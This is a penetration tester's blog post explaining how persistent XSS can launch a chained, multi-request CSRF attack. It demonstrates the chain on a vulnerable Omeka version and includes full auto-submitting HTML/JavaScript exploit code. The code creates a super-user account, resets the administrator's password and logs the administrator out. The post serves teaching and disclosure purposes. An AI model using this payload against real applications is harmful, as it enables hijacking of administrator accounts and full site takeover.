Complete application ownage via Multi-POST XSRF
I enjoy performing penetration tests, I also enjoy teaching how to do penetration testing correctly. Next time up is SANS Sec560 network penetration testing in Albuquerque, NM. When I am teaching one of the points I make is to never consider the vulnerabilities in isolation, using them in combination truly demonstrates the risk and impact. I was performing a web application penetration test, and the list of things that it was vulnerable to was quite impressive!:
The list of vulnerabilities:
- Content can be framed
- XSS
- Method interchange
- DoS, application hangs on long abnormal inputs, relies on client side validation
- Able to upload files, including malicious content
- Information leakage, internal server names, IP addresses, install locations...
- XSRF
- User enumeration via forgot password function
- Administrators can disable their own account
We had determined that the primary threat would be for a user to escalate privileges and access information from other accounts. In order to achieve this goal we concentrated on the persistent XSS and XSRF. We would use the persistent XSS to launch the XSRF attack. We leveraged all of the vulnerabilities in one way or another, in other words, we were having a good time!
Using the XSS:
- Create trouble ticket
- Ticket will be first viewed by administrator
- Script executes in the administrator browser
- Administrator can perform all of the functions vulnerable to XSRF
A significant number of the functions were vulnerable to Cross Site Request Forgery (CSRF or XSRF), which is also known as session riding and transaction injection. The functions that were vulnerable had absolutely no anti-XSRF protection, and the interesting ones were all in the administrator part of the site. An attacker could add a new user, put the user in the administrator group, change the passwords, and log out. The problem was, each of these were different transactions, and had to be performed in the correct order to pull off the attack. The application owner and the development team did not appreciate the severity of the issue, and pointed out that their automated scanning tool had not identified the issue, therefore it didn't exist. Even if the issue did exist, it could only be of medium severity, because their tool said so. To top it all off, even if an attacker could pull off this mythical attack, it could not be done in one shot, the administrator had to click multiple times. In short, they did not appreciate the impact, the attacker would have complete control over the application. In order to make my point a demonstration was in order, that did the following:
- Add a new user
- Put the user in an administrator group
- Lockout the super-user account
- Logout the super-user accoun;
- Did the functions in the correct order
- Each function would wait for the last to complete
- Was all in one HTML page
- Would force the administrator to view a certain Rick Astley video :)
- OK, we didn't do the last one, that would be WAY too mean.
My Google-fu was with me that day, I discovered a post by Tim Tomes (lanmaster53) that described exactly what I wanted to do. He also had sample code to start with:
http://www.lanmaster53.com/2013/07/multi-post-csrf/
The next problem was that obviously I could use their custom application to do the proof of concept, but I needed another application with similar vulnerabilities to demo for this post. Once again the Google-fu was with me:
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5193.php
Omeka is a free and open source web publishing application. Also quick and easy to install. Also quick and easy to exploit. Last, but not least, I could download the vulnerable version 2.2 and be up and running in no time.
Administrator (victim) logs into the application:
The add user function as seen in an interception proxy (OWASP ZAP):
The code running:
Now the code. The important parts are getting the script to run, I used a body onload. The script runs each one of the forms. The forms each contain one of the XSF attacks. Each form loads in a different iframe. The first one runs, then the second one waits from the iframe onload to fire before it runs, and so on. Victim logs in, they check their queue, the XSS runs, the XSRF runs, they have lost control of the application, attacker win.
Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.
Check out BSides Ottawa, our CfP is still open! Con is 5-6 September
http://www.bsidesottawa.ca/
I will be teaching SANS Sec560, Network Penetration Testing next in Albuquerque, NM !
http://www.sans.org/event/albuquerque-2014/course/network-penetration-testing-ethical-hacking
References:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
http://cwe.mitre.org/data/definitions/352.html
http://www.lanmaster53.com/2013/07/multi-post-csrf/
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5193.php
http://omeka.org/
https://www.youtube.com/watch?v=dQw4w9WgXcQ
Code:
<html>
<head>
<title>XSRF Multi-post attack onload</title>
<!-- Creation Date: 31 July 2014 -->
<!-- Author: Adrien de Beaupre -->
<!-- Original code borrowed from Tim Tomes LaNMaSteR53 -->
<!-- Demonstrating multi-post XSRF-->
</head>
<body onload="runme();">
welcome to p0wned by XSRF!
<form name="xsrf0" action="http://intru-shun.ca/omeka/admin/users/add" method="POST" target="frame0">
<input type="hidden" name="username" value="hacker" />
<input type="hidden" name="name" value="evil" />
<input type="hidden" name="email" value="hacker@evil.com" />
<input type="hidden" name="role" value="super" />
<input type="hidden" name="active" value="1" />
</form>
<form name="xsrf1" action="http://intru-shun.ca/omeka/admin/users/change-password/1" method="POST" target="frame1">
<input type="hidden" name="new_password" value="Passw0rd" />
<input type="hidden" name="new_password_confirm" value="Passw0rd" />
</form>
<form name="xsrf2" action="http://intru-shun.ca/omeka/admin/users/logout" method="POST" target=frame2">
<input type="hidden" name="Logout" value="yes" />
</form>
<iframe name="frame0"></iframe>
<iframe name="frame1"></iframe>
<iframe name="frame2"></iframe>
<script>
function runme()
{
document.xsrf0.submit();
document.getElementsByTagName("iframe")[0].onload = function()
{
document.xsrf1.submit();
document.getElementsByTagName("iframe")[1].onload = function()
{
document.xsrf2.submit();
alert('All your base are belong to us')
}
}
}
</script>
</body>
</html>
Comments
Anonymous
Aug 13th 2014
1 decade ago